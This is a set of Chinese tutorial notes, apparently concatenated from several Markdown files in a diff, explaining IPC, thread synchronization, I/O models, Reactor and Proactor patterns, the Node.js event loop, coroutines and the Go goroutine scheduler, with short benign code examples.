管道是一种最基本的IPC机制也称匿名管道应用于有血缘关系的进程之间完成数据传递调用C的pipe函数即可创建一个管道
![](../images/go/02-10.png)
管道有如下特质
- 管道的本质是一块内核缓冲区
- 由两个文件描述符引用一个表示读端一个表示写端
- 规定数据从管道的写端流入管道从读端流出
- 当两个进程都终结的时候管道也自动消失
- 管道的读端和写端默认都是阻塞的
管道的实质是内核缓冲区内部使用唤醒队列实现
管道的缺陷
- 管道中的数据一旦被读走便不在管道中存在不可反复读取
- 数据只能在一个方向上流动若要实现双向流动必须使用两个管道
- 只能在有血缘关系的进程间使用管道
Go模拟管道的实现
```go
cmd1 := exec.Command("ps", "aux")
cmd2 := exec.Command("grep", "apipe")
var outputBuf1 bytes.Buffer
cmd1.Stdout = &outputBuf1
cmd1.Start()
cmd1.Wait() // 开始阻塞
var outputBuf2 bytes.Buffer
cmd2.Stdout = &outputBuf2
cmd2.Start()
cmd2.Wait() // 开始阻塞
fmt.Println(outputBuf2.Bytes())
```
当然也有一种管道称为命名管道FIFO它支持无血缘关系的进程之间通信FIFO是Linux基础文件类型中的一种文件类型为p可通过ls -l查看文件类型但FIFO文件在磁盘上没有数据块文件大小为0仅仅用来标识内核中一条通道进程可以打开这个文件进行read/write实际上是在读写内核缓冲区这样就实现了进程间通信如图所示
![](../images/go/02-11.png)
### 8.2 内存映射区
存储映射I/O (Memory-mapped I/O) 使一个磁盘文件与存储空间中的一个缓冲区相映射从缓冲区中取数据就相当于读文件中的相应字节将数据写入缓冲区则会将数据写入文件这样就可在不使用read和write函数的情况下使用地址指针完成I/O操作
使用存储映射这种方法首先应通知内核将一个指定文件映射到存储区域中这个映射工作可以通过mmap函数来实现
![](../images/go/02-12.png)
### 8.3 信号
信号是IPC中唯一一种异步的通信方法本质是用软件模拟硬件的中断机制例如在命令行终端按下某些快捷键就会挂起或停止正在运行的程序Go中的ginal包提供了相关操作
```go
sigRecv := make(chan os.Signal, 1) // 创建接收通道
sigs := []os.Signal{syscall.SIGINT, syscall.SIGQUIT} // 创建信号类型
signal.Notify(sigRecv, sigs...)
for sig := range sigRecv { // 循环接收通道中的信号通道关闭后for会立即停止
fmt.Println(sig)
}
```
### 8.4 socket
socket即套接字也是一种IPC方法与其他IPC方法不同之处在于可以通过网络连接让多个进程建立通信并相互传递数据这使得通信不再依赖于在同一台计算机上
## 进程同步
当多个子进程对同一资源进行访问时就会产生竞态条件比如某一个数据进程A对其进行执行`一系列`操作但是在执行过程中系统有可能会切换到另外一个进程B中B也对该数据进行`一系列`操作那么在两个进程中操作同一份数据时这个数据的结果值到底按照谁的来运算呢
原子操作如果执行过程中操作不能中断那么就能解决上述问题这样的操作称为原子操作atomic operation这些只能被串行化访问或执行的资源或者某段代码被称为临界区critical sectionGo中(sync/atomic包提供了原子操作函数)
注意
- 所有的系统调用都是原子操作即不用担心它们的执行被中断
- 原子操作不能被中断临界区是否可以被中断没有强制规定只是保证了只能同时被一个访问者访问
问题如果一个原子操作无法结束现在也无法中断如何处理
> 答案内核只提供了针对二进制位和整数的原子操作即保证细粒度不会有上述现象
互斥锁
在实际开发中原子操作并不通用我们可以保证只有一个进程/线程在临界区该做法称为互斥锁exclusion principle比如信号量是实现互斥方法的方式之一Golang的sync包也有对互斥的支持

View File

@ -0,0 +1,115 @@
## 线程概述
### 1.1 进程与线程创建
操作系统会为每个进程分配一定的内存地址空间如图所示
![](../images/go/02-03.svg)
上图所示的是32位系统中虚拟内存的分配方式不同系统分配的虚拟内存是不同的但是其数据所占区域的比例是相同的
- 32最大内存地址为2<sup>32</sup>这么多的字节数换算为G单位即为4G换算为1G=1024MB=1024*1024KB=1024*1024*1024B
- 64最大内存地址为2<sup>64</sup>这么多的字节数换算为G单位数值过大不便图示
在多进程编程的并发模型中每次fork一个子进程都代表新创建了一个完整的上述内存地址空间如图所示
![](../images/go/02-03-1.svg)
线程就与进程不同了一个进程内部可以创建多个线程如图所示
![](../images/go/02-03-2.svg)
### 1.2 理解线程
从创建线程的图示可以看出线程可以视为某个进程内部的控制流
> 线程操作系统基于进程开启的轻量级进程
> 线程是操作系统最小的调度执行单位即cpu分配时间轮片的对象
线程不能独立于进程而存在其生命周期不可能逾越其所属的进程生命周期与进程不同线程不存在父子级别关系同一进程中的任意2个线程之间的关系是平等的
一个进程内部的线程包括
- 主线程必定拥有因为进程必须有一个控制流持续运行该线程随着进程的启动而创建
- 其他线程不一定拥有由主线程或者其他线程创建C语言调用pthread_create函数
综上我们可以得出
> 线程与进程一样拥有独立的PCB但是没有独立的地址空间即线程之间共享了地址空间这样也让线程之间无需IPC直接就能通信
进程的大多数资源会被其内部的线程所共享代码段数据段信号处理函数当前进程持有的文件描述符等所以同一进程中的多个线程运行的一定是同一个程序只不过具体的控制流和执行的函数可能不同也正因如此同一进程内的多线程共享数据变得很轻松创建新线程也无需再复制资源了
虽然线程带来了通信的便利如果同一空间的中多个线程同时去使用同一个数据就会造成资源竞争问题这是计算机编程中最复杂的问题之一
### 1.3 线程标识
每个线程也有属于自己的ID称为TID只在其所属的进程范围内唯一
注意Linux中的线程ID在系统范围内也是唯一的且线程不存在后该ID可被其他线程复用
### 1.4 线程调度
线程之间不存在类似进程的树形关系任何线程都可以对同一进程的其他线程进行有限的管理
调度器会把CPU的时间资源划分为极小的时间片并把这些时间片分配给不同的线程以使众多线程都有机会在CPU上运行也造成了我们多线程被并行运行的幻觉
### 1.5 线程的应用
对于多线程并发模型的web服务器如果需要同时处理多个请求当请求到达时web 服务器会创建一个线程或者从线程池中获取一个线程然后将请求来委派给线程来实现并发
## 线程同步
### 2.0 同步的概念
由于多进程多线程协程等都可以抢占共享资源我们就必须保证他们访问数据时的一致性这种保持数据内容一致的机制称为**同步**
多个控制流操作一个共享资源的情况都需要同步
一般情况下只要让共享区域的操作串行化就可以实现同步这种实现了串行化的共享区域称为**临界区**
这里主要研究线程同步的方式包括
- 互斥量
- 条件变量
- 原子操作
### 2.1 互斥量
> 互斥mutex在同一时刻只允许一个线程处于临界区内
线程将对象锁定后才能进入临界区否则线程就会阻塞这个对象我们称之为互斥对象或者互斥量
由此可知互斥量有已锁定未锁定两种状态且互斥量一旦被锁则不能被再次锁定只有互斥量被解锁后才能再次锁定即不允许别的线程二次加锁多个线程为了能够访问临界区将会争夺锁的所有权
线程在离开临界区的时候必须对互斥量进行解锁此时其他想进入该临界区的线程将会被唤醒再次争夺锁
如果不同的临界区中包含了对同一个共享资源的同一种操作此时会产生死锁
解决死锁的办法有两种
- 试锁定-回退操作系统的线程库中提供了该功能在执行一个代码块时如果需要先后锁定多个互斥量成功锁定其中一个互斥量后应该使用试锁定的方法来锁定后续互斥量如果后续任一互斥量锁定失败则解锁刚才被锁的互斥量重新进行争夺锁尝试
- 注意多个互斥量被成功加锁后解锁顺序和加锁顺序相反这样可以减少回退次数
- 固定顺序锁定举例线程A和线程B总是先锁定互斥量1再锁定互斥量2那么就不会产生死锁
第一种方案更加有效但是程序变得复杂了后一种方法简单实用但是因为存在固定顺序降低了程序的灵活性
### 2.2 条件变量
互斥量有时候也不能完美解决问题比如最常见的生产消费模型中
```
数据队列具备一定大小的空间用于存储生产的数据
生产者线程向数据队列不断的添加数据
消费者线程从数据队列不断的取出数据
```
由于生产者线程和消费者线程都会对数据队列进行并发访问那么我们肯定会为数据队列进行加锁操作以实现同步
此时如果生产者线程获得互斥量发现数据队列已满无法添加新数据生产者线程就可能在临界区一直等待直到有空闲区间这种做法明显是错误的因为该线程一直阻塞在临界区直接影响了其他消费者线程的使用生产者线程应该在发现没有空闲区间时直接解锁退出
同样的消费者线程在获取锁后如果发现数据队列为空则也会一直等待这都是不合理的应该在发现为空后立即解锁
引入条件变量与互斥量配合使用可以解决上述问题
> 条件变量条件变量一般与互斥量组合使用在对应的共享数据状态发生变化时通知其他被阻塞线程
条件变量有三种操作
- 等待通知wait如果当前数据状态不满足条件则解锁与该条件变量绑定在一起的互斥量然后阻塞当前线程直到收到该条件变量发来的通知
- 单发通知signal让条件变量向至少一个正在等待它通知的线程发送通知以表示共享数据状态发生了改变
- 广播通知broadcast给等待通知的所有线程发送通知
### 2.3 原子操作
原子操作的执行过程不能被中断因为此时CPU不会去执行其他对该值进行的操作这也能有效的解决一部分竞争问题

View File

@ -0,0 +1,173 @@
## 深入理解进程阻塞
进程间的通信时通过 send() receive() 两种基本操作完成的具体如何实现这两种基础操作存在着不同的设计
> 消息的传递有可能是**阻塞的****非阻塞的**也被称为**同步****异步**----操作系统概论
- 阻塞式发送blocking send发送方进程会被一直阻塞直到消息被接受方进程收到
- 非阻塞式发送nonblocking send发送方进程调用 send() 立即就可以其他操作
- 阻塞式接收blocking receive接收方调用 receive() 后一直阻塞直到消息到达可用
- 非阻塞式接受nonblocking receive接收方调用 receive() 函数后要么得到一个有效的结果要么得到一个空值即不会被阻塞
上述不同类型的发送方式和不同类型的接收方式可以自由组合即从进程级通信的维度讨论时 阻塞和同步非阻塞和异步就是一对同义词 且需要针对发送方和接收方作区分对待
概念解释
- 中断interruptCPU 微处理器有一个中断信号位 在每个CPU时钟周期的末尾, CPU会去检测那个中断信号位是否有中断信号到达 如果有则会根据中断优先级决定是否要暂停当前执行的指令 转而去执行处理中断的指令 其实就是 CPU 层级的 while 轮询
- 时钟中断( Clock Interrupt )一个硬件时钟会每隔一段很短的时间就产生一个中断信号发送给 CPUCPU 在响应这个中断时 就会去执行操作系统内核的指令 继而将 CPU 的控制权转移给了操作系统内核 可以由操作系统内核决定下一个要被执行的指令
- 系统调用system callsystem call 是操作系统提供给应用程序的接口 用户通过调用 system call 来完成那些需要操作系统内核进行的操作 例如硬盘 网络接口设备的读写等
现代操作系统都是采用虚拟存储器操心系统的核心是内核独立于普通的应用程序可以访问受保护的内存空间也有访问底层硬件设备的所有权限为了保证用户进程不能直接操作内核保证内核的安全操心系统将虚拟空间划分为两部分一部分为内核空间一部分为用户空间
用户进程在从用户空间切换到内核空间需要以下步骤
- 1.当一个程序正在执行的过程中 中断interrupt 系统调用system call 发生可以使得 CPU 的控制权会从当前进程转移到操作系统内核
- 2.操作系统内核负责保存进程i在 CPU 中的上下文程序计数器寄存器 PCB$_i$操作系统分配给进程的一个内存块
- 3.从PCB$_j$取出进程 j 的CPU 上下文 CPU 控制权转移给进程 j 开始执行进程 j 的指令
操作系统在进行进切换时需要进行一系列的内存读写操作 这带来了一定的开销对于一个运行着 UNIX 系统的现代 PC 来说 进程切换至少需要花费 300 us 的时间我们所说的 阻塞是指进程在发起了一个系统调用System Call 由于该系统调用的操作不能立即完成需要等待一段时间于是内核将进程挂起为**等待 waiting**状态 以确保它不会被调度执行 占用 CPU 资源
综上所述**阻塞和非阻塞描述的是进程的一个操作是否会使得进程转变为等待的状态**又因为阻塞这个词是与系统调用 System Call 紧紧联系在一起的 因为要让一个进程进入 等待waiting 的状态要么是它主动调用 wait() sleep() 等挂起自己的操作要么是它调用 System Call System Call 因为涉及到了 I/O 操作不能立即完成于是内核就会先将该进程置为等待状态调度其他进程的运行等到它所请求的 I/O 操作完成了以后再将其状态更改回 ready
操作系统内核在执行 System Call CPU 需要与 IO 设备完成一系列物理通信上的交互 其实会再一次涉及到阻塞和非阻塞的问题 例如 操作系统发起了一个硬盘读的请求后 其实是通过总线向硬盘设备发出了一个读请求它即可以阻塞式地等待IO 设备的返回结果也可以非阻塞式的继续其他的操作 在现代计算机中这些物理通信操作基本都是异步完成的 即发出请求后 等待 I/O 设备的中断信号后 再来读取相应的设备缓冲区 但是大部分操作系统默认为用户级应用程序提供的都是阻塞式的系统调用 blocking system call接口 因为阻塞式的调用使得应用级代码的编写更容易代码的执行顺序和编写顺序是一致的
但同样现在的大部分操作系统也会提供非阻塞I/O 系统调用接口Nonblocking I/O system call 一个非阻塞调用不会挂起调用程序 而是会立即返回一个值表示有多少bytes 的数据被成功读取或写入
非阻塞I/O 系统调用( nonblocking system call )的另一个替代品是 异步I/O系统调用 asychronous system call 与非阻塞 I/O 系统调用类似asychronous system call 也是会立即返回 不会等待 I/O 操作的完成 应用程序可以继续执行其他的操作 等到 I/O 操作完成了以后操作系统会通知调用进程设置一个用户空间特殊的变量值 或者 触发一个 signal 或者 产生一个软中断 或者 调用应用程序的回调函数
非阻塞I/O 系统调用( nonblocking system call ) **异步I/O系统调用 asychronous system call**的区别是
- 一个非阻塞I/O 系统调用 read() 操作立即返回的是任何可以立即拿到的数据 可以是完整的结果 也可以是不完整的结果 还可以是一个空值
- 异步I/O系统调用 read结果必须是完整的但是这个操作完成的通知可以延迟到将来的一个时间点
总结
- 阻塞/非阻塞 同步/异步的概念要注意讨论的上下文
- 在进程通信层面 阻塞/非阻塞 同步/异步基本是同义词 但是需要注意区分讨论的对象是发送方还是接收方发送方阻塞/非阻塞同步/异步和接收方的阻塞/非阻塞同步/异步 是互不影响的
- IO 系统调用层面 IO system call 层面 非阻塞IO 系统调用 异步IO 系统调用存在着一定的差别 它们都不会阻塞进程 但是返回结果的方式和内容有所差别 但是都属于非阻塞系统调用 non-blocing system call
- 阻塞系统调用non-blocking I/O system call asynchronous I/O system call 的存在可以用来实现线程级别的 I/O 并发 与通过多进程实现的 I/O 并发相比可以减少内存消耗以及进程切换的开销
## I/O模型总结
### 2.0 I/O模型汇总
Unix网络编程中可以利用的IO模型有5种
- 阻塞IO
- 非阻塞IO
- 多路复用IO
- 信号驱动IO
- 异步IO
### 2.1 阻塞I/O模型
阻塞I/O是最传统的一种IO模型即在读写数据过程中会发生阻塞现象当用户线程发出IO请求之后内核会去查看数据是否就绪如果没有就绪就会等待数据就绪而用户线程就会处于阻塞状态用户线程交出CPU当数据就绪之后内核会将数据拷贝到用户线程并返回结果给用户线程用户线程才解除block状态
典型的阻塞IO模型的例子为
```c
data = socket.read();
```
如果数据没有就绪就会一直阻塞在read()方法
### 2.2 非阻塞IO模型
当用户线程发起一个read操作后并不需要等待而是马上就得到了一个结果如果结果是一个error时它就知道数据还没有准备好于是它可以再次发送read操作一旦内核中的数据准备好了并且又再次收到了用户线程的请求那么它马上就将数据拷贝到了用户线程然后返回
所以事实上在非阻塞IO模型中用户线程需要不断地询问内核数据是否就绪也就说非阻塞IO不会交出CPU而会一直占用CPU典型的非阻塞IO模型一般如下
```c
while(true){ 
data = socket.read(); 
        if(data!= error){ 
         // 处理数据 
            break; 
        } 
} 
```
但是对于非阻塞IO就有一个非常严重的问题在while循环中需要不断地去询问内核数据是否就绪这样会导致CPU占用率非常高因此一般情况下很少使用while循环这种方式来读取数据
### 2.3 多路复用IO模型
多路复用IO模型是目前使用得比较多的模型如Java的NIO在多路复用IO模型中会有一个线程不断去轮询多个socket的状态只有当socket真正有读写事件时才真正调用实际的IO读写操作因为在多路复用IO模型中只需要使用一个线程就可以管理多个socket系统不需要建立新的进程或者线程也不必维护这些线程和进程并且只有在真正有socket读写事件进行时才会使用IO资源所以它大大减少了资源占用
在Java NIO中是通过selector.select()去查询每个通道是否有到达事件如果没有事件则一直阻塞在那里因此这种方式会导致用户线程的阻塞
采用 多线程+ 阻塞IO 也能达到类似的效果但是此时每个socket对应一个线程这样会造成很大的资源占用并且尤其是对于长连接来说线程的资源一直不会释放如果后面陆续有很多连接的话就会造成性能上的瓶颈而多路复用IO模式通过一个线程就可以管理多个socket只有当socket真正有读写事件发生才会占用资源来进行实际的读写操作因此多路复用IO比较适合连接数比较多的情况
另外多路复用IO为何比非阻塞IO模型的效率高是因为在非阻塞IO中不断地询问socket状态是通过用户线程去进行的而在多路复用IO中轮询每个socket状态是内核在进行的这个效率要比用户线程要高的多
不过要注意的是多路复用IO模型是通过轮询的方式来检测是否有事件到达并且对到达的事件逐一进行响应因此对于多路复用IO模型来说一旦事件响应体很大那么就会导致后续的事件迟迟得不到处理并且会影响新的事件轮询
### 2.4 信号驱动I/O模型
在信号驱动IO模型中当用户线程发起一个IO请求操作会给对应的socket注册一个信号函数然后用户线程会继续执行当内核数据就绪时会发送一个信号给用户线程用户线程接收到信号之后便在信号函数中调用IO读写操作来进行实际的IO请求操作
### 2.5 异步IO模型
异步IO模型是最理想的IO模型当用户线程发起read操作之后立刻就可以开始去做其它的事而另一方面从内核的角度当它收到一个asynchronous read之后它会立刻返回说明read请求已经成功发起了因此不会对用户线程产生任何block然后内核会等待数据准备完成接着将数据拷贝到用户线程当这一切都完成之后内核会给用户线程发送一个信号告诉它read操作完成了在此过程中用户线程完全不需要知道实际的整个IO操作是如何进行的只需要先发起一个请求当接收内核返回的成功信号时表示IO操作已经完成可以直接去使用数据了
在异步IO模型中IO操作的两个阶段都不会阻塞用户线程这两个阶段都是由内核自动完成然后发送一个信号告知用户线程操作已完成用户线程中不需要再次调用IO函数进行具体的读写这点是和信号驱动模型有所不同的在信号驱动模型中当用户线程接收到信号表示数据已经就绪然后需要用户线程调用IO函数进行实际的读写操作而在异步IO模型中收到信号表示IO操作已经完成不需要再在用户线程中调用iO函数进行实际的读写操作
异步IO是需要操作系统的底层支持在Java 7提供了Asynchronous IO也只有异步IO才真正的异步IO其他的IO模型都是同步IO因为无论是多路复用IO还是信号驱动模型IO操作的第2个阶段都会引起用户线程阻塞也就是内核进行数据拷贝的过程都会让用户线程阻塞
## 高性能I/O设计模式
### 2.1 多进程
每到达一个请求我们为这个请求新创建一个进程来处理这样一个进程在等待 IO 其他的进程可以被调度执行更加充分地利用 CPU 等资源但是每新创建一个进程都会消耗一定的内存空间且进程切换也有时间消耗高并发时大量进程来回切换的时间开销会变得明显起来
### 2.2 多线程模式
在传统的网络服务设计模式中有两种比较经典的模式一种是 多线程一种是线程池
对于多线程模式也就说来了client服务器就会新建一个线程来处理该client的读写事件如下图所示
![](../images/go/02-13.png)
这种模式虽然处理起来简单方便但是由于服务器为每个client的连接都采用一个线程去处理使得资源占用非常大因此当连接数量达到上限时再有用户请求连接直接会导致资源瓶颈严重的可能会直接导致服务器崩溃
### 2.3 线程池模式
为了解决这种一个线程对应一个客户端模式带来的问题提出了采用线程池的方式也就说创建一个固定大小的线程池来一个客户端就从线程池取一个空闲线程来处理当客户端处理完读写操作之后就交出对线程的占用因此这样就避免为每一个客户端都要创建线程带来的资源浪费使得线程可以重用
### 2.4 Reactor模式
在Reactor模式中会先对每个client注册感兴趣的事件然后有一个线程专门去轮询每个client是否有事件发生当有事件发生时便顺序处理每个事件当所有事件处理完之后便再转去继续轮询如下图所示
![](../images/go/02-14.png)
从这里可以看出上面的五种IO模型中的多路复用IO就是采用Reactor模式注意上面的图中展示的 是顺序处理每个事件当然为了提高事件处理速度可以通过多线程或者线程池的方式来处理事件
### 2.5 Proactor模式
在Proactor模式中当检测到有事件发生时会新起一个异步操作然后交由内核线程去处理当内核线程完成IO操作之后发送一个通知告知操作已完成可以得知异步IO模型采用的就是Proactor模式
## 杰出代表Node.js
Node.js是在v8引擎基础上开发的javascript运行时为javascript提供了模块化文件IOSocket编程等支持其架构如图所示
![](../images/go/02-15.png)
他们分别是
- Node.js 标准库这部分是由 Javascript编写的即我们使用过程中直接能调用的 API在源码中的 lib 目录下可以看到
- Node bindings这一层是 Javascript与底层 C/C++ 能够沟通的关键前者通过 bindings 调用后者相互交换数据实现在 node.cc
- 这一层是支撑 Node.js 运行的关键 C/C++ 实现
- V8Google 推出的 Javascript VM也是 Node.js 为什么使用的是 Javascript的关键它为 Javascript提供了在非浏览器端运行的环境它的高效是 Node.js 之所以高效的原因之一
- Libuv它为 Node.js 提供了跨平台线程池事件池异步 I/O 等能力 Node.js 如此强大的关键
- C-ares提供了异步处理 DNS 相关的能力
- http_parserOpenSSLzlib 提供包括 http 解析SSL数据压缩等其他的能力
一个基础的node http web server
```js
const http = require('http');
http.createServer((req, res) => {
res.writeHeader(200, {"Content-Type" : "text/plain"});
res.write("Hello world!");
res.end();
}).listen(9000);
```
Node.js的http模型
![](../images/go/02-16.png)
Node中的事件驱动Event Loop is a programming construct that waits for and dispatches events or messages in a program
- 1每个Node.js进程只有一个主线程在执行程序代码形成一个执行栈execution context stack)
- 2主线程之外还维护了一个"事件队列"Event queue当用户的网络请求或者其它的异步操作到来时node都会把它放到Event Queue之中此时并不会立即执行它代码也不会被阻塞继续往下走直到主线程代码执行完毕
- 3主线程代码执行完毕完成后然后通过Event Loop也就是事件循环机制开始到Event Queue的开头取出第一个事件从线程池中分配一个线程去执行这个事件接下来继续取出第二个事件再从线程池中分配一个线程去执行然后第三个第四个主线程不断的检查事件队列中是否有未执行的事件直到事件队列中所有事件都执行完了此后每当有新的事件加入到事件队列中都会通知主线程按顺序取出交EventLoop处理当有事件执行完毕后会通知主线程主线程执行回调线程归还给线程池
- 4主线程不断重复上面的第三步

View File

@ -0,0 +1,72 @@
## 理解协程
> 协程也称为纤程Coroutine, 是一个特殊的函数这个函数可以在某个地方挂起并且可以重新在挂起处外继续运行
协程与进程线程相比并不是一个维度的概念协程不是被操作系统内核所管理的而是完全由程序所控制也就是在用户态执行这样带来的好处是性能大幅度的提升因为不会像线程切换那样消耗资源
正如一个进程可以拥有多个线程一样一个线程可以拥有多个协程目前的协程框架一般都是设计成 1:N 模式
注意
- 多个进程或一个进程内的多个线程是可以并行运行的
- 一个线程内的多个协程却是串行的无论CPU有多少个核因为协程本质上还是一个函数当一个协程运行时其它协程必须挂起
- 但是协程的切换过程只有用户态即没有陷入内核态因此切换效率比进程和线程高很多
协程自己会主动适时的让出 CPU也就是说每个协程池里面有一个调度器这个调度器是被动调度的意思就是他不会主动调度而且当一个协程发现自己执行不下去了比如异步等待网络的数据回来但是当前还没有数据到)这个时候就可以由这个协程通知调度器这个时候执行到调度器的代码调度器根据事先设计好的调度算法找到当前最需要 CPU 的协程切换这个协程的 CPU 上下文把 CPU 的运行权交个这个协程直到这个协程出现执行不下去需要等等的情况或者它调用主动让出 CPU API 之类触发下一次调度
## 协程的优缺点
优点
- 占用小协程更加轻量创建成本更小降低了内存消耗协程一般只占据极小的内存2~5KB而线程是1MB左右虽然线程和协程都是独有栈但是线程栈是固定的比如在Java中基本是2M假如一个栈只有一个打印方法还要为此开辟一个2M的栈就太浪费了而Go的的协程具备动态收缩功能初始化为2KB最大可达1GB
- 运行效率高线程切换需要从用户态->内核态->用户态而协程切换是在用户态上即用户态->用户态->用户态其切换过程由语言层面的调度器coroutine或者语言引擎goroutine实现
- 减少了同步锁协程最终还是运行在线程上本质上还是单线程运行没有临界区域的话自然不需要锁的机制多协程自然没有竞争关系但是如果存在临界区域依然需要使用锁协程可以减少以往必须使用锁的场景
- 同步代码思维写出异步代码
缺点
- 无法利用多核资源协程运行在线程上单线程应用无法很好的利用多核只能以多进程方式启动
- 协程不能有阻塞操作线程是抢占式线程在遇见IO操作时候线程从运行态阻塞态释放cpu使用权这是由操作系统调度协程是非抢占式如果遇见IO操作时候协程是主动释放执行权限的如果无法主动释放程序将阻塞无法往下执行随之而来是整个线程被阻塞
- CPU密集型不是长处假设这个线程中有一个协程是 CPU 密集型的他没有 IO 操作也就是自己不会主动触发调度器调度的过程那么就会出现其他协程得不到执行的情况所以这种情况下需要程序员自己避免
应用场景
- 高性能计算牺牲公平性换取吞吐协程最早来自高性能计算领域的成功案例协作式调度相比抢占式调度而言可以在牺牲公平性时换取吞吐
- IO Bound 的任务虽然异步IO在数据到达的时候触发回调减少了线程切换带来性能损失但是该思想不符合人类的思维模式异步回调在破坏点思维连贯性的同时也破坏掉了程序的连贯性让你在阅读程序的时候花费更多的精力但是协程可以很好解决这个问题比如把一个 IO 操作 写成一个协程当触发 IO 操作的时候就自动让出 CPU 给其他协程要知道协程的切换很轻的协程通过这种对异步 IO 的封装既保留了性能也保证了代码的容易编写和可读性
## 协程的简单实现
ES6提供了一种新的方法名叫GeneratorGenerator的执行过程可以被暂停和恢复所以它被认为是ES6中的协程但严格地说Generator只是半协程semi-coroutine因为虽然它可以主动放弃执行权但是它并没有告知运行环境下一步哪个协程会被调用当一个Generator被调用时它的代码并不会被执行调用者得到的是它的观察者Observer调用者通过调用这个观察者的方法比如next方法来执行Generator的代码
```js
const Q = [];
const Q_LEN = 10;
function* produce() {
while (Q.length < Q_LEN) {
const item = Date.now();
Q.push(item);
console.log(`Item ${item} is produced`);
if (Q.length === Q_LEN) {
yield;
}
}
}
function* consume() {
while (Q.length > 0) {
const item = Q.pop();
console.log(`Item ${item} is consumed`);
if (Q.length === 0) {
yield;
}
}
}
function bootstrap() {
const producer = produce();
const consumer = consume();
while(true) {
producer.next();
consumer.next();
}
}
bootstrap();
```
在上面代码中produce和consume是两个协程bootstrap方法是这两个协程的调用者它首先获取produce和consume协程的观察者然后循环调用观察者的next方法从而使得生产者和消费者的关系持续运行在循环过程中如果produce检测队列已满它就主动放弃执行权从而被暂停consume将获得执行权如果consume检测队列已空它就主动放弃执行权从而被暂停produce将重新获得执行权

View File

@ -0,0 +1,112 @@
## 并发模型总结
- 多进程
- 稳定性高进程地址空间互相独立一个进程出现问题不会影响其他进程Linux系统是个典型的多进程模型稳定性极高适合服务端开发
- 开销很大
- 多线程
- 开销较小
- 协程
- 程序执行效率高
- 非阻塞I/O
- 无需痛苦的同步编程
交换数据方式
- 多进程交换数据方式复杂管道消息队列信号量共享内存
- 多线程之间交换数据很简单但会产生竞态条件需要解决同步问题
综合而言多线程方式具备大量优势但是在处理信号同时运行多套不同程序以及包含多个需要超大内存支持的任务等多进程方式更适合而协程和非阻塞IO则更能充分的提升程序的运行效率
## 线程不一定比进程轻量
理论上线程之间共享内存创建新线程的时候不需要创建真正的虚拟内存空间也不需要 MMU内存管理单元上下文切换此外线程间通信比进程之间通信更加简单主要是因为线程之间有共享内存而进程通信往往需要利用各种模式的 IPC进程间通信如信号量消息队列管道等
但是在多处理器操作系统中线程并不一定比进程更高效例如 Linux 就是不区分线程和进程的两者在 Linux 都被称作任务task每个任务在 cloned 的时候都有一个介于最小到最大之间的共享级别
- 调用 fork() 创建任务时创建的是一个没有共享文件描述符PID 和内存空间的新任务而调用 pthread_create() 创建任务时创建的任务将包含上述所有共享资源
- 线程之间保持共享内存与多核的L1缓存中的数据同步与在隔离内存中运行不同的进程相比需要付出更加大的代价
## 线程的改进方向
线程变慢的主要三个原因
- 线程自身有一个很大的堆 1MB占用了大量内存如果一下创建 1000 个线程意味着需要 1GB 的内存
- 线程需要重复存储许多寄存器其中一些包括 AVX高级向量扩展SSE流式 SIMD 外设浮点寄存器程序计数器PC堆栈指针SP这会降低应用程序性能
- 线程创建和消除需要调用操作系统以获取资源例如内存而这一操作相对是比较慢的
## goroutine
Goroutines 是在 Golang 中执行并发任务的方式不过要切记
> Goroutines仅存在于 Go 运行时而不存在于 OS 因此需要 Go调度器GoRuntimeScheduler 来管理它们的生命周期
Go运行时为此维护了三个C结构https://golang.org/src/runtime/runtime2.go
- G 结构表示单个 Goroutine包含跟踪其堆栈和当前状态所需的对象还包含自己负责的代码的引用
- M 结构表示 OS 线程包含一些对象指针例如全局可执行的 Goroutines 队列当前运行的 Goroutine它自己的缓存以及对 Go 调度器的引用
- P 结构也做Sched结构它是一个单一的全局对象用于跟踪 Goroutine M 的不同队列以及调度程序运行时需要的其他一些信息例如单一全局互斥锁Global Sched Lock
G 结构主要存在于两种队列之中一个是 M 线程可以找到任务的可执行队列另外一个是一个空闲的 Goroutine 列表调度程序维护的 M执行线程只能每次关联其中一个队列为了维护这两种队列并进行切换就必须维持单一全局互斥锁Global Sched Lock
因此在启动时go 运行空间会为 GC调度程序和用户代码启动许多 Goroutine并创建 OS 线程来处理这些 Goroutine不过创建的线程数量最多可以等于 GOMAXPROCS默认为 1但为了获得最佳性能通常设置为计算机上的处理器数量
## 协程对比线程的改进
为了使运行时的堆栈更小go 在运行期间使用了大小可调整的有限堆栈并且初始大小只有 2KB/goroutine新的 Goroutine 通常会分配几 kb 的空间这几乎总是足够的如果不够的话运行空间还能自动增长或者缩小内存来实现堆栈的管理从而让大部分 Goroutine 存在于适量的内存中每个函数调用的平均 CPU 开销大概是三个简单指令因此在同一地址空间中创建数十万个 Goroutine 是切实可行的但是如果 Goroutine 是线程的话系统资源将很快被消耗完
## 协程阻塞
Goroutine 进行阻塞调用时例如通过调用阻塞的系统调用这时调用的线程必须阻塞go 的运行空间会操作自动将同一操作系统线程上的其他 Goroutine将它们移动到从调度程序Sched Struct的线程队列中取出的另一个可运行的线程上所以这些 Goroutine 不会被阻塞因此运行空间应至少创建一个线程以继续执行不在阻塞调用中的其他 Goroutine 而且关键的是程序员是看不到这一点的结论是我们称之为 Goroutines 的事物可以是很低廉的它们在堆栈的内存之外几乎没有开销而内存中也只有几千字节
Go 协程也可以很好地扩展
但是如果你使用只存在于 Go 的虚拟空间的 channels 进行通信产生阻塞时操作系统将不会阻塞该线程 只是让该 Goroutine 进入等待状态并安排另一个可运行的 Goroutine来自 M 结构关联的可执行队列它的位置
## Go Runtime Scheduler
Go Runtime Scheduler 跟踪记录每个 Goroutine并安排它们依次地在进程的线程池中运行
Go Runtime Scheduler 执行协作调度这意味着只有在当前 Goroutine 阻塞或完成时才会调度另一个 Goroutine这通过代码可以轻松完成这里有些例子
- 调用系统调用如文件或网络操作阻塞时
- 因为垃圾收集被停止后
这样比定时阻塞并调度新线程的抢占式调度要好得多因为当线程数量增加或者当高优先级任务将被调度运行时有低优先级的任务已经在运行了此时低优先级队列将被阻塞定时抢占调度可能导致某些任务完成花费的时间大大超过实际所需时间
另一个优点是因为 Goroutine 在代码中隐式调用的例如在睡眠或 channel 等待期间编译只需要安全地恢复在这些时刻处存活的寄存器 Go 这意味着在上下文切换期间仅更新 3 个寄存器 PCSP DX数据寄存器 而不是所有寄存器例如 AVX浮点MMX
## goroutine coroutine
C# Lua Python语言都支持协程 coroutineJava也有一些第三方库支持
coroutine与 goroutine都可以将函数或者语句在独立的环境中运行但是它们之间有两点不同
- goroutine可能发生并行执行coroutine始终顺序执行
